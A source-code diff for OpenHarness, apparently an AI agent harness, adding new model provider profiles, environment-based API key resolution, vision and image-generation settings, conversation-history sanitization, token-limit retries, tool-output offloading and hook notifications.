base_url="https://integrate.api.nvidia.com/v1",
),
"qwen": ProviderProfile(
label="Qwen (DashScope)",
provider="dashscope",
api_format="openai",
auth_source="dashscope_api_key",
default_model="qwen-plus",
base_url="https://dashscope.aliyuncs.com/compatible-mode/v1",
),
"modelscope": ProviderProfile(
label="ModelScope",
provider="modelscope",
api_format="openai",
auth_source="modelscope_api_key",
default_model="deepseek-ai/DeepSeek-V4-Flash",
base_url="https://api-inference.modelscope.cn/v1",
),
}
@@ -328,6 +367,8 @@ def auth_source_provider_name(auth_source: str) -> str:
"moonshot_api_key": "moonshot",
"gemini_api_key": "gemini",
"minimax_api_key": "minimax",
"nvidia_api_key": "nvidia",
"modelscope_api_key": "modelscope",
}
return mapping.get(auth_source, auth_source)
@@ -337,6 +378,30 @@ def auth_source_uses_api_key(auth_source: str) -> bool:
return auth_source.endswith("_api_key")
def auth_source_env_var_candidates(auth_source: str) -> tuple[str, ...]:
"""Return env vars to probe for an auth source in precedence order."""
mapping = {
"anthropic_api_key": ("OPENHARNESS_ANTHROPIC_API_KEY", "ANTHROPIC_API_KEY"),
"openai_api_key": ("OPENHARNESS_OPENAI_API_KEY", "OPENAI_API_KEY"),
"dashscope_api_key": ("OPENHARNESS_DASHSCOPE_API_KEY", "DASHSCOPE_API_KEY"),
"moonshot_api_key": ("OPENHARNESS_MOONSHOT_API_KEY", "MOONSHOT_API_KEY"),
"gemini_api_key": ("OPENHARNESS_GEMINI_API_KEY", "GEMINI_API_KEY"),
"minimax_api_key": ("OPENHARNESS_MINIMAX_API_KEY", "MINIMAX_API_KEY"),
"nvidia_api_key": ("OPENHARNESS_NVIDIA_API_KEY", "NVIDIA_API_KEY"),
"modelscope_api_key": ("OPENHARNESS_MODELSCOPE_API_KEY", "MODELSCOPE_API_KEY"),
}
return mapping.get(auth_source, ())
def resolve_auth_env_value(auth_source: str) -> tuple[str, str] | None:
"""Return the first configured env var/value pair for an auth source."""
for env_var in auth_source_env_var_candidates(auth_source):
env_value = os.environ.get(env_var, "")
if env_value:
return env_var, env_value
return None
def credential_storage_provider_name(profile_name: str, profile: ProviderProfile) -> str:
"""Return the storage namespace used for this profile's credential.
@@ -369,6 +434,10 @@ def default_auth_source_for_provider(provider: str, api_format: str | None = Non
return "gemini_api_key"
if provider == "minimax":
return "minimax_api_key"
if provider == "nvidia":
return "nvidia_api_key"
if provider == "modelscope":
return "modelscope_api_key"
if provider == "openai" or api_format == "openai":
return "openai_api_key"
return "anthropic_api_key"
@@ -437,6 +506,63 @@ def _profile_from_flat_settings(settings: "Settings") -> tuple[str, ProviderProf
return name, profile
class ImageGenerationConfig(BaseModel):
"""Configuration for the image_generation tool."""
provider: str = "auto"
model: str = "gpt-image-2"
api_key: str = ""
base_url: str = ""
codex_model: str = "gpt-5.4"
codex_base_url: str = ""
@classmethod
def from_env(cls) -> "ImageGenerationConfig":
"""Load image generation config from environment variables."""
return cls(
provider=os.environ.get("OPENHARNESS_IMAGE_GENERATION_PROVIDER", "auto").strip()
or "auto",
model=os.environ.get("OPENHARNESS_IMAGE_GENERATION_MODEL", "gpt-image-2").strip()
or "gpt-image-2",
api_key=os.environ.get("OPENHARNESS_IMAGE_GENERATION_API_KEY", "").strip(),
base_url=os.environ.get("OPENHARNESS_IMAGE_GENERATION_BASE_URL", "").strip(),
codex_model=os.environ.get("OPENHARNESS_IMAGE_GENERATION_CODEX_MODEL", "gpt-5.4").strip()
or "gpt-5.4",
codex_base_url=os.environ.get("OPENHARNESS_IMAGE_GENERATION_CODEX_BASE_URL", "").strip(),
)
@property
def is_configured(self) -> bool:
"""Return True when either a key provider or Codex provider is selected."""
return bool(self.api_key or self.provider in {"auto", "codex"})
class VisionModelConfig(BaseModel):
"""Configuration for the vision model used by the image_to_text tool.
When the active model does not support multimodal input, the agent loop
automatically falls back to this vision model to describe images.
"""
model: str = ""
api_key: str = ""
base_url: str = ""
@classmethod
def from_env(cls) -> "VisionModelConfig":
"""Load vision model config from environment variables."""
return cls(
model=os.environ.get("OPENHARNESS_VISION_MODEL", "").strip(),
api_key=os.environ.get("OPENHARNESS_VISION_API_KEY", "").strip(),
base_url=os.environ.get("OPENHARNESS_VISION_BASE_URL", "").strip(),
)
@property
def is_configured(self) -> bool:
"""Return True when both model and api_key are set."""
return bool(self.model and self.api_key)
class Settings(BaseModel):
"""Main settings model for OpenHarness."""
@@ -460,8 +586,13 @@ class Settings(BaseModel):
hooks: dict[str, list[HookDefinition]] = Field(default_factory=dict)
memory: MemorySettings = Field(default_factory=MemorySettings)
sandbox: SandboxSettings = Field(default_factory=SandboxSettings)
web: WebSettings = Field(default_factory=WebSettings)
enabled_plugins: dict[str, bool] = Field(default_factory=dict)
allow_project_plugins: bool = False
allow_project_skills: bool = True
project_skill_dirs: list[str] = Field(
default_factory=lambda: [".openharness/skills", ".agents/skills", ".claude/skills"]
)
mcp_servers: dict[str, McpServerConfig] = Field(default_factory=dict)
# UI
@@ -474,6 +605,12 @@ class Settings(BaseModel):
passes: int = 1
verbose: bool = False
# Vision model (image-to-text fallback)
vision: VisionModelConfig = Field(default_factory=VisionModelConfig)
# Image generation model
image_generation: ImageGenerationConfig = Field(default_factory=ImageGenerationConfig)
def merged_profiles(self) -> dict[str, ProviderProfile]:
"""Return the saved profiles merged over the built-in catalog."""
merged = default_provider_profiles()
@@ -492,7 +629,7 @@ class Settings(BaseModel):
def resolve_profile(self, name: str | None = None) -> tuple[str, ProviderProfile]:
"""Return the active provider profile."""
profiles = self.merged_profiles()
profile_name = (name or self.active_profile or "").strip() or "claude-api"
profile_name = (name or self.active_profile or os.environ.get("OPENHARNESS_PROFILE") or "").strip() or "claude-api"
if profile_name not in profiles:
fallback_name, fallback = _profile_from_flat_settings(self)
profiles[fallback_name] = fallback
@@ -529,9 +666,15 @@ class Settings(BaseModel):
directly before the profile layer is used everywhere.
"""
profile_name, profile = self.resolve_profile()
next_provider = (self.provider or "").strip() or profile.provider
next_api_format = (self.api_format or "").strip() or profile.api_format
next_base_url = self.base_url if self.base_url is not None else profile.base_url
profile_from_env = bool(os.environ.get("OPENHARNESS_PROFILE"))
flat_profile_fields_match_profile = profile_from_env or (
(self.provider or "").strip() == profile.provider
and (self.api_format or "").strip() == profile.api_format
and self.base_url == profile.base_url
)
next_provider = profile.provider if flat_profile_fields_match_profile else (self.provider or "").strip() or profile.provider
next_api_format = profile.api_format if flat_profile_fields_match_profile else (self.api_format or "").strip() or profile.api_format
next_base_url = profile.base_url if flat_profile_fields_match_profile else (self.base_url if self.base_url is not None else profile.base_url)
next_context_window_tokens = (
self.context_window_tokens
if self.context_window_tokens is not None
@@ -602,19 +745,15 @@ class Settings(BaseModel):
if self.api_key:
return self.api_key
env_key = os.environ.get("ANTHROPIC_API_KEY", "")
if env_key:
return env_key
# Also check OPENAI_API_KEY for openai-format providers
openai_key = os.environ.get("OPENAI_API_KEY", "")
if openai_key:
return openai_key
env_resolved = resolve_auth_env_value(profile.auth_source)
if env_resolved:
_, env_value = env_resolved
return env_value
raise ValueError(
"No API key found. Set ANTHROPIC_API_KEY (or OPENAI_API_KEY for openai-format "
"providers) environment variable, or configure api_key in "
"~/.openharness/settings.json"
"No API key found. Set an OPENHARNESS_* provider API key "
"(preferred) or the matching native provider environment variable, "
"or configure api_key in ~/.openharness/settings.json"
)
def resolve_auth(self) -> ResolvedAuth:
@@ -623,6 +762,15 @@ class Settings(BaseModel):
provider = profile.provider.strip()
auth_source = profile.auth_source.strip() or default_auth_source_for_provider(provider, profile.api_format)
if auth_source in {"codex_subscription", "claude_subscription"}:
env_auth_token = os.environ.get("ANTHROPIC_AUTH_TOKEN", "").strip()
if auth_source == "claude_subscription" and env_auth_token:
return ResolvedAuth(
provider=provider,
auth_kind="oauth",
value=env_auth_token,
source="env:ANTHROPIC_AUTH_TOKEN",
state="configured",
)
from openharness.auth.external import (
is_third_party_anthropic_endpoint,
load_external_credential,
@@ -681,23 +829,16 @@ class Settings(BaseModel):
storage_provider = credential_storage_provider_name(profile_name, profile)
env_var = {
"anthropic_api_key": "ANTHROPIC_API_KEY",
"openai_api_key": "OPENAI_API_KEY",
"dashscope_api_key": "DASHSCOPE_API_KEY",
"moonshot_api_key": "MOONSHOT_API_KEY",
"minimax_api_key": "MINIMAX_API_KEY",
}.get(auth_source)
if env_var:
env_value = os.environ.get(env_var, "")
if env_value:
return ResolvedAuth(
provider=provider or storage_provider,
auth_kind="api_key",
value=env_value,
source=f"env:{env_var}",
state="configured",
)
env_resolved = resolve_auth_env_value(auth_source)
if env_resolved:
env_var, env_value = env_resolved
return ResolvedAuth(
provider=provider or storage_provider,
auth_kind="api_key",
value=env_value,
source=f"env:{env_var}",
state="configured",
)
explicit_key = "" if profile.credential_slot else self.api_key
if explicit_key:
@@ -727,10 +868,25 @@ class Settings(BaseModel):
def merge_cli_overrides(self, **overrides: Any) -> Settings:
"""Return a new Settings with CLI overrides applied (non-None values only)."""
updates = {k: v for k, v in overrides.items() if v is not None}
permission_mode = updates.pop("permission_mode", None)
def apply_permission_mode(settings: Settings) -> Settings:
if permission_mode is None:
return settings
return settings.model_copy(
update={
"permission": settings.permission.model_copy(
update={"mode": PermissionMode(str(permission_mode))}
)
}
)
# Strip ANSI escape sequences from model name if present
if "model" in updates and isinstance(updates["model"], str):
updates["model"] = strip_ansi_escape_sequences(updates["model"])
merged = self.model_copy(update=updates)
if "effort" in updates and isinstance(updates["effort"], str):
updates["effort"] = "xhigh" if updates["effort"].strip().lower() == "max" else updates["effort"].strip().lower()
merged = apply_permission_mode(self.model_copy(update=updates))
if not updates:
return merged
profile_keys = {
@@ -747,8 +903,25 @@ class Settings(BaseModel):
profile_updates = profile_keys.intersection(updates)
if not profile_updates:
return merged
if profile_updates.issubset({"active_profile"}):
return merged.materialize_active_profile()
if "active_profile" in profile_updates:
switch_updates = {
key: value
for key, value in updates.items()
if key not in profile_keys or key in {"active_profile", "profiles"}
}
switched = apply_permission_mode(self.model_copy(update=switch_updates)).materialize_active_profile()
remaining_profile_updates = {
key: value
for key, value in updates.items()
if key in profile_keys and key not in {"active_profile", "profiles"}
}
if not remaining_profile_updates:
return switched
return (
switched.model_copy(update=remaining_profile_updates)
.sync_active_profile_from_flat_fields()
.materialize_active_profile()
)
return merged.sync_active_profile_from_flat_fields().materialize_active_profile()
@@ -806,15 +979,23 @@ def _apply_env_overrides(settings: Settings) -> Settings:
if auto_compact_threshold_tokens:
updates["auto_compact_threshold_tokens"] = int(auto_compact_threshold_tokens)
api_key = os.environ.get("ANTHROPIC_API_KEY") or os.environ.get("OPENAI_API_KEY")
if api_key:
provider = os.environ.get("OPENHARNESS_PROVIDER")
api_format = os.environ.get("OPENHARNESS_API_FORMAT")
env_auth_source = active_profile.auth_source
if provider or api_format:
env_auth_source = default_auth_source_for_provider(
provider or active_profile.provider,
api_format or active_profile.api_format,
)
env_resolved = resolve_auth_env_value(env_auth_source)
if env_resolved:
_, api_key = env_resolved
updates["api_key"] = api_key
api_format = os.environ.get("OPENHARNESS_API_FORMAT")
if api_format:
updates["api_format"] = api_format
provider = os.environ.get("OPENHARNESS_PROVIDER")
if provider:
updates["provider"] = provider
@@ -836,6 +1017,23 @@ def _apply_env_overrides(settings: Settings) -> Settings:
if sandbox_updates:
updates["sandbox"] = settings.sandbox.model_copy(update=sandbox_updates)
web_updates: dict[str, Any] = {}
web_proxy = os.environ.get("OPENHARNESS_WEB_PROXY")
if web_proxy:
web_updates["proxy"] = web_proxy
web_resolution_mode = os.environ.get("OPENHARNESS_WEB_RESOLUTION_MODE")
if web_resolution_mode:
web_updates["resolution_mode"] = web_resolution_mode
web_synthetic_dns_cidrs = os.environ.get("OPENHARNESS_WEB_SYNTHETIC_DNS_CIDRS")
if web_synthetic_dns_cidrs:
web_updates["synthetic_dns_cidrs"] = [
entry.strip()
for entry in web_synthetic_dns_cidrs.split(",")
if entry.strip()
]
if web_updates:
updates["web"] = settings.web.model_copy(update=web_updates)
if not updates:
return settings
return settings.model_copy(update=updates)
@@ -863,6 +1061,9 @@ def load_settings(config_path: Path | None = None) -> Settings:
if config_path.exists():
raw = json.loads(config_path.read_text(encoding="utf-8"))
settings = Settings.model_validate(raw)
env_profile = os.environ.get("OPENHARNESS_PROFILE")
if env_profile:
settings = settings.model_copy(update={"active_profile": env_profile.strip()})
if "profiles" not in raw or "active_profile" not in raw:
profile_name, profile = _profile_from_flat_settings(settings)
merged_profiles = settings.merged_profiles()
@@ -875,7 +1076,11 @@ def load_settings(config_path: Path | None = None) -> Settings:
)
return _apply_env_overrides(settings.materialize_active_profile())
return _apply_env_overrides(Settings().materialize_active_profile())
settings = Settings()
env_profile = os.environ.get("OPENHARNESS_PROFILE")
if env_profile:
settings = settings.model_copy(update={"active_profile": env_profile.strip()})
return _apply_env_overrides(settings.materialize_active_profile())
def save_settings(settings: Settings, config_path: Path | None = None) -> None:
@@ -6,6 +6,7 @@ import os
import re
from dataclasses import dataclass, field
from typing import Optional
from xml.sax.saxutils import escape, unescape
# ---------------------------------------------------------------------------
@@ -109,12 +110,12 @@ def format_task_notification(n: TaskNotification) -> str:
"""Serialize a TaskNotification to the canonical XML envelope."""
parts = [
"<task-notification>",
f"<task-id>{n.task_id}</task-id>",
f"<status>{n.status}</status>",
f"<summary>{n.summary}</summary>",
f"<task-id>{escape(n.task_id)}</task-id>",
f"<status>{escape(n.status)}</status>",
f"<summary>{escape(n.summary)}</summary>",
]
if n.result is not None:
parts.append(f"<result>{n.result}</result>")
parts.append(f"<result>{escape(n.result)}</result>")
if n.usage:
parts.append("<usage>")
for key in _USAGE_FIELDS:
@@ -130,7 +131,7 @@ def parse_task_notification(xml: str) -> TaskNotification:
def _extract(tag: str) -> Optional[str]:
m = re.search(rf"<{tag}>(.*?)</{tag}>", xml, re.DOTALL)
return m.group(1).strip() if m else None
return unescape(m.group(1).strip()) if m else None
task_id = _extract("task-id") or ""
status = _extract("status") or ""
+47 -1
View File
@@ -53,6 +53,7 @@ class ToolResultBlock(BaseModel):
tool_use_id: str
content: str
is_error: bool = False
result_metadata: dict[str, Any] = Field(default_factory=dict)
ContentBlock = Annotated[
@@ -116,12 +117,57 @@ class ConversationMessage(BaseModel):
def sanitize_conversation_messages(messages: list[ConversationMessage]) -> list[ConversationMessage]:
"""Drop legacy empty assistant messages while preserving other content."""
"""Normalize restored conversation history into a provider-safe sequence.
This drops legacy empty assistant messages and trims malformed trailing tool
turns, such as an assistant ``tool_use`` message that never received a
matching user ``tool_result`` response. Those broken tails can happen when a
session is interrupted mid-turn and would later cause OpenAI-compatible
providers to reject the resumed conversation.
"""
sanitized: list[ConversationMessage] = []
pending_tool_use_ids: set[str] = set()
pending_tool_use_index: int | None = None
for message in messages:
if message.role == "assistant" and message.is_effectively_empty():
continue
tool_uses = message.tool_uses if message.role == "assistant" else []
tool_results = [
block for block in message.content if isinstance(block, ToolResultBlock)
] if message.role == "user" else []
matched_pending_tool_results = False
if pending_tool_use_ids:
result_ids = {block.tool_use_id for block in tool_results}
if message.role != "user" or not pending_tool_use_ids.issubset(result_ids):
if pending_tool_use_index is not None and pending_tool_use_index < len(sanitized):
sanitized.pop(pending_tool_use_index)
pending_tool_use_ids = set()
pending_tool_use_index = None
else:
matched_pending_tool_results = True
pending_tool_use_ids = set()
pending_tool_use_index = None
if message.role == "user" and tool_results and not matched_pending_tool_results:
content = [
block for block in message.content if not isinstance(block, ToolResultBlock)
]
if not content:
continue
message = ConversationMessage(role="user", content=content)
sanitized.append(message)
if tool_uses:
pending_tool_use_ids = {block.id for block in tool_uses}
pending_tool_use_index = len(sanitized) - 1
if pending_tool_use_ids and pending_tool_use_index is not None and pending_tool_use_index < len(sanitized):
sanitized.pop(pending_tool_use_index)
return sanitized
+318 -6
View File
@@ -4,10 +4,12 @@ from __future__ import annotations
import asyncio
import logging
import re
import time
from dataclasses import dataclass
from pathlib import Path
from typing import Any, AsyncIterator, Awaitable, Callable
from uuid import uuid4
from openharness.api.client import (
ApiMessageCompleteEvent,
@@ -16,8 +18,15 @@ from openharness.api.client import (
ApiTextDeltaEvent,
SupportsStreamingMessages,
)
from openharness.api.provider import is_model_multimodal
from openharness.api.usage import UsageSnapshot
from openharness.engine.messages import ConversationMessage, ToolResultBlock
from openharness.config.paths import get_data_dir
from openharness.engine.messages import (
ConversationMessage,
ImageBlock,
TextBlock,
ToolResultBlock,
)
from openharness.engine.stream_events import (
AssistantTextDelta,
AssistantTurnComplete,
@@ -30,11 +39,13 @@ from openharness.engine.stream_events import (
)
from openharness.hooks import HookEvent, HookExecutor
from openharness.permissions.checker import PermissionChecker
from openharness.services.tool_outputs import tool_output_inline_chars, tool_output_preview_chars
from openharness.tools.base import ToolExecutionContext
from openharness.tools.base import ToolRegistry
AUTO_COMPACT_STATUS_MESSAGE = "Auto-compacting conversation memory to keep things fast and focused."
REACTIVE_COMPACT_STATUS_MESSAGE = "Prompt too long; compacting conversation memory and retrying."
MAX_SAFE_COMPLETION_TOKENS = 128_000
log = logging.getLogger(__name__)
@@ -45,6 +56,7 @@ AskUserPrompt = Callable[[str], Awaitable[str]]
MAX_TRACKED_READ_FILES = 6
MAX_TRACKED_SKILLS = 8
MAX_TRACKED_ASYNC_AGENT_EVENTS = 8
MAX_TRACKED_ASYNC_AGENT_TASKS = 12
MAX_TRACKED_WORK_LOG = 10
MAX_TRACKED_USER_GOALS = 5
MAX_TRACKED_ACTIVE_ARTIFACTS = 8
@@ -57,16 +69,63 @@ def _is_prompt_too_long_error(exc: Exception) -> bool:
needle in text
for needle in (
"prompt too long",
"context_length_exceeded",
"context length",
"maximum context",
"context window",
"input tokens exceed",
"messages resulted in",
"reduce the length of the messages",
"configured limit",
"too many tokens",
"too large for the model",
"maximum context length",
"exceed_context",
"exceeds the available context size",
"available context size",
)
)
def _bounded_completion_tokens(max_tokens: int, context_window_tokens: int | None = None) -> int:
"""Return a conservative per-request output token cap.
Some OpenAI-compatible providers reject very large ``max_tokens`` before
the request reaches model-side context management. Keep oversized user
config from making every turn fail while preserving normal defaults.
"""
limit = MAX_SAFE_COMPLETION_TOKENS
if context_window_tokens is not None and context_window_tokens > 0:
limit = min(limit, int(context_window_tokens))
return max(1, min(int(max_tokens), limit))
def _extract_completion_token_limit(exc: Exception) -> int | None:
"""Parse provider errors such as "supports at most 128000 completion tokens"."""
text = str(exc).lower().replace(",", "")
patterns = (
r"supports at most\s+(\d+)\s+completion tokens",
r"at most\s+(\d+)\s+completion tokens",
r"max(?:imum)?(?:_completion)?[_\s-]tokens.*?(?:<=|less than or equal to|at most)\s+(\d+)",
)
for pattern in patterns:
match = re.search(pattern, text)
if match:
try:
return max(1, int(match.group(1)))
except ValueError:
return None
return None
def _is_completion_token_limit_error(exc: Exception) -> bool:
text = str(exc).lower()
return (
("max_tokens" in text or "max_completion_tokens" in text)
and ("too large" in text or "at most" in text or "completion tokens" in text)
)
class MaxTurnsExceeded(RuntimeError):
"""Raised when the agent exceeds the configured max_turns for one user prompt."""
@@ -86,6 +145,7 @@ class QueryContext:
model: str
system_prompt: str
max_tokens: int
effort: str | None = None
context_window_tokens: int | None = None
auto_compact_threshold_tokens: int | None = None
permission_prompt: PermissionPrompt | None = None
@@ -263,6 +323,55 @@ def _remember_async_agent_activity(
del bucket[:-MAX_TRACKED_ASYNC_AGENT_EVENTS]
def _parse_spawned_agent_identity(
output: str,
metadata: dict[str, object] | None = None,
) -> tuple[str, str] | None:
if isinstance(metadata, dict):
agent_id = str(metadata.get("agent_id") or "").strip()
task_id = str(metadata.get("task_id") or "").strip()
if agent_id and task_id:
return agent_id, task_id
match = re.search(r"Spawned agent (.+?) \(task_id=(\S+?)(?:[,)]|$)", output.strip())
if match is None:
return None
return match.group(1).strip(), match.group(2).strip()
def _remember_async_agent_task(
tool_metadata: dict[str, object] | None,
*,
tool_name: str,
tool_input: dict[str, object],
output: str,
result_metadata: dict[str, object] | None = None,
) -> None:
if tool_name != "agent":
return
identity = _parse_spawned_agent_identity(output, result_metadata)
if identity is None:
return
agent_id, task_id = identity
bucket = _tool_metadata_bucket(tool_metadata, "async_agent_tasks")
description = str(tool_input.get("description") or tool_input.get("prompt") or "").strip()
entry = {
"agent_id": agent_id,
"task_id": task_id,
"description": description[:240],
"status": "spawned",
"notification_sent": False,
"spawned_at": time.time(),
}
bucket[:] = [
existing
for existing in bucket
if not isinstance(existing, dict) or str(existing.get("task_id") or "") != task_id
]
bucket.append(entry)
if len(bucket) > MAX_TRACKED_ASYNC_AGENT_TASKS:
del bucket[:-MAX_TRACKED_ASYNC_AGENT_TASKS]
def _remember_work_log(
tool_metadata: dict[str, object] | None,
*,
@@ -289,6 +398,7 @@ def _record_tool_carryover(
tool_name: str,
tool_input: dict[str, object],
tool_output: str,
tool_result_metadata: dict[str, object] | None,
is_error: bool,
resolved_file_path: str | None,
) -> None:
@@ -326,6 +436,13 @@ def _record_tool_carryover(
tool_input=tool_input,
output=tool_output,
)
_remember_async_agent_task(
context.tool_metadata,
tool_name=tool_name,
tool_input=tool_input,
output=tool_output,
result_metadata=tool_result_metadata,
)
description = str(tool_input.get("description") or tool_input.get("prompt") or tool_name).strip()
_remember_verified_work(
context.tool_metadata,
@@ -393,6 +510,126 @@ def _record_tool_carryover(
_remember_work_log(context.tool_metadata, entry="Exited plan mode")
def _tool_artifact_dir() -> Path:
artifact_dir = get_data_dir() / "tool_artifacts"
artifact_dir.mkdir(parents=True, exist_ok=True)
return artifact_dir
def _safe_tool_artifact_name(tool_name: str) -> str:
normalized = re.sub(r"[^A-Za-z0-9_.-]+", "_", tool_name.strip())
return (normalized or "tool")[:80]
def _offload_tool_output_if_needed(
*,
tool_name: str,
tool_use_id: str,
output: str,
) -> tuple[str, Path | None]:
inline_limit = tool_output_inline_chars()
if len(output) <= inline_limit:
return output, None
artifact_path = (
_tool_artifact_dir()
/ f"{time.strftime('%Y%m%d-%H%M%S')}-{_safe_tool_artifact_name(tool_name)}-{uuid4().hex[:12]}.txt"
)
artifact_path.write_text(output, encoding="utf-8", errors="replace")
preview = output[:tool_output_preview_chars()]
omitted = max(0, len(output) - len(preview))
inline = (
"[Tool output truncated]\n"
f"Tool: {tool_name}\n"
f"Tool use id: {tool_use_id}\n"
f"Original size: {len(output)} chars\n"
f"Full output saved to: {artifact_path}\n"
f"Inline preview: first {len(preview)} chars"
)
if omitted:
inline += f" ({omitted} chars omitted)"
if preview:
inline += f"\n\nPreview:\n{preview}"
return inline, artifact_path
# ---------------------------------------------------------------------------
# Image preprocessing — convert ImageBlocks to text for non-multimodal models
# ---------------------------------------------------------------------------
_IMAGE_PREPROCESS_STATUS = "Converting image to text description via vision model…"
async def _preprocess_images_in_messages(
messages: list[ConversationMessage],
context: QueryContext,
) -> AsyncIterator[StreamEvent]:
"""Scan messages for ImageBlocks and convert them to text if the active
model does not support multimodal input.
Yields status events during conversion so the UI stays responsive.
"""
if is_model_multimodal(context.model):
return
vision_config = context.tool_metadata.get("vision_model_config")
if not vision_config:
# No vision model configured — skip preprocessing.
return
# Collect all ImageBlocks with their parent message index and block index
pending: list[tuple[int, int, ImageBlock]] = []
for msg_idx, msg in enumerate(messages):
if msg.role != "user":
continue
for blk_idx, block in enumerate(msg.content):
if isinstance(block, ImageBlock):
pending.append((msg_idx, blk_idx, block))
if not pending:
return
yield StatusEvent(message=_IMAGE_PREPROCESS_STATUS)
# Process images in parallel
async def _describe(msg_idx: int, blk_idx: int, block: ImageBlock) -> tuple[int, int, str]:
tool = context.tool_registry.get("image_to_text")
if tool is None:
return msg_idx, blk_idx, "[Image: could not describe — image_to_text tool not available]"
# Build tool input
tool_input_data: dict[str, object] = {
"image_data": block.data,
"media_type": block.media_type,
"prompt": "Describe this image in detail, including any text, "
"UI elements, code, diagrams, or visual information present.",
}
try:
parsed = tool.input_model.model_validate(tool_input_data)
except Exception:
return msg_idx, blk_idx, "[Image: could not parse image data]"
exec_context = ToolExecutionContext(
cwd=context.cwd,
metadata={
"vision_model_config": vision_config,
**(context.tool_metadata or {}),
},
)
result = await tool.execute(parsed, exec_context)
if result.is_error:
return msg_idx, blk_idx, f"[Image description failed: {result.output}]"
return msg_idx, blk_idx, result.output
results = await asyncio.gather(*[_describe(mi, bi, blk) for mi, bi, blk in pending])
# Replace ImageBlocks with TextBlocks in-place
for msg_idx, blk_idx, description in results:
msg = messages[msg_idx]
msg.content[blk_idx] = TextBlock(text=description)
async def run_query(
context: QueryContext,
messages: list[ConversationMessage],
@@ -413,6 +650,11 @@ async def run_query(
compact_state = AutoCompactState()
reactive_compact_attempted = False
last_compaction_result: tuple[list[ConversationMessage], bool] = (messages, False)
effective_max_tokens = _bounded_completion_tokens(
context.max_tokens,
context.context_window_tokens,
)
reported_token_clamp = False
async def _stream_compaction(
*,
@@ -457,12 +699,28 @@ async def run_query(
turn_count = 0
while context.max_turns is None or turn_count < context.max_turns:
turn_count += 1
if effective_max_tokens != context.max_tokens and not reported_token_clamp:
reported_token_clamp = True
yield StatusEvent(
message=(
"Requested max_tokens="
f"{context.max_tokens} exceeds the safe per-request output cap; "
f"using {effective_max_tokens}."
)
), None
# --- auto-compact check before calling the model ---------------
async for event, usage in _stream_compaction(trigger="auto"):
yield event, usage
messages, was_compacted = last_compaction_result
compacted_messages, was_compacted = last_compaction_result
if compacted_messages is not messages:
messages[:] = compacted_messages
# ---------------------------------------------------------------
# --- image preprocessing: convert ImageBlocks to text for non-vision models ---
async for event in _preprocess_images_in_messages(messages, context):
yield event, None
# -----------------------------------------------------------------------------
final_message: ConversationMessage | None = None
usage = UsageSnapshot()
@@ -472,8 +730,9 @@ async def run_query(
model=context.model,
messages=messages,
system_prompt=context.system_prompt,
max_tokens=context.max_tokens,
max_tokens=effective_max_tokens,
tools=context.tool_registry.to_api_schema(),
effort=context.effort,
)
):
if isinstance(event, ApiTextDeltaEvent):
@@ -493,12 +752,27 @@ async def run_query(
usage = event.usage
except Exception as exc:
error_msg = str(exc)
if _is_completion_token_limit_error(exc):
supported_limit = _extract_completion_token_limit(exc)
if supported_limit is not None and effective_max_tokens > supported_limit:
previous_max_tokens = effective_max_tokens
effective_max_tokens = supported_limit
yield StatusEvent(
message=(
f"Model rejected max_tokens={previous_max_tokens}; "
f"retrying with provider limit {effective_max_tokens}."
)
), None
turn_count = max(0, turn_count - 1)
continue
if not reactive_compact_attempted and _is_prompt_too_long_error(exc):
reactive_compact_attempted = True
yield StatusEvent(message=REACTIVE_COMPACT_STATUS_MESSAGE), None
async for event, usage in _stream_compaction(trigger="reactive", force=True):
yield event, usage
messages, was_compacted = last_compaction_result
compacted_messages, was_compacted = last_compaction_result
if compacted_messages is not messages:
messages[:] = compacted_messages
if was_compacted:
continue
if "connect" in error_msg.lower() or "timeout" in error_msg.lower() or "network" in error_msg.lower():
@@ -532,6 +806,14 @@ async def run_query(
messages.append(coordinator_context_message)
if not final_message.tool_uses:
if context.hook_executor is not None:
await context.hook_executor.execute(
HookEvent.STOP,
{
"event": HookEvent.STOP.value,
"stop_reason": "tool_uses_empty",
},
)
return
tool_calls = final_message.tool_uses
@@ -540,11 +822,20 @@ async def run_query(
# Single tool: sequential (stream events immediately)
tc = tool_calls[0]
yield ToolExecutionStarted(tool_name=tc.name, tool_input=tc.input), None
result = await _execute_tool_call(context, tc.name, tc.id, tc.input)
try:
result = await _execute_tool_call(context, tc.name, tc.id, tc.input)
except Exception as exc:
log.exception("tool execution raised: name=%s id=%s", tc.name, tc.id)
result = ToolResultBlock(
tool_use_id=tc.id,
content=f"Tool {tc.name} failed: {type(exc).__name__}: {exc}",
is_error=True,
)
yield ToolExecutionCompleted(
tool_name=tc.name,
output=result.content,
is_error=result.is_error,
metadata=result.result_metadata,
), None
tool_results = [result]
else:
@@ -583,6 +874,7 @@ async def run_query(
tool_name=tc.name,
output=result.content,
is_error=result.is_error,
metadata=result.result_metadata,
), None
messages.append(ConversationMessage(role="user", content=tool_results))
@@ -647,6 +939,16 @@ async def _execute_tool_call(
if not decision.allowed:
if decision.requires_confirmation and context.permission_prompt is not None:
log.debug("permission prompt for %s: %s", tool_name, decision.reason)
if context.hook_executor is not None:
await context.hook_executor.execute(
HookEvent.NOTIFICATION,
{
"event": HookEvent.NOTIFICATION.value,
"notification_type": "permission_prompt",
"tool_name": tool_name,
"reason": decision.reason,
},
)
confirmed = await context.permission_prompt(tool_name, decision.reason)
if not confirmed:
log.debug("permission denied by user for %s", tool_name)
@@ -674,21 +976,31 @@ async def _execute_tool_call(
"ask_user_prompt": context.ask_user_prompt,
**(context.tool_metadata or {}),
},
hook_executor=context.hook_executor,
),
)
elapsed = time.monotonic() - t0
log.debug("executed %s in %.2fs err=%s output_len=%d",
tool_name, elapsed, result.is_error, len(result.output or ""))
inline_output, artifact_path = _offload_tool_output_if_needed(
tool_name=tool_name,
tool_use_id=tool_use_id,
output=result.output,
)
if artifact_path is not None:
_remember_active_artifact(context.tool_metadata, str(artifact_path))
tool_result = ToolResultBlock(
tool_use_id=tool_use_id,
content=result.output,
content=inline_output,
is_error=result.is_error,
result_metadata=dict(result.metadata or {}),
)
_record_tool_carryover(
context,
tool_name=tool_name,
tool_input=tool_input,
tool_output=tool_result.content,
tool_result_metadata=result.metadata,
is_error=tool_result.is_error,
resolved_file_path=_file_path,
)
+110 -9
View File
@@ -8,11 +8,13 @@ from typing import AsyncIterator
from openharness.api.client import SupportsStreamingMessages
from openharness.engine.cost_tracker import CostTracker
from openharness.coordinator.coordinator_mode import get_coordinator_user_context
from openharness.engine.messages import ConversationMessage, TextBlock, ToolResultBlock
from openharness.engine.messages import ConversationMessage, TextBlock, ToolResultBlock, sanitize_conversation_messages
from openharness.engine.query import AskUserPrompt, PermissionPrompt, QueryContext, remember_user_goal, run_query
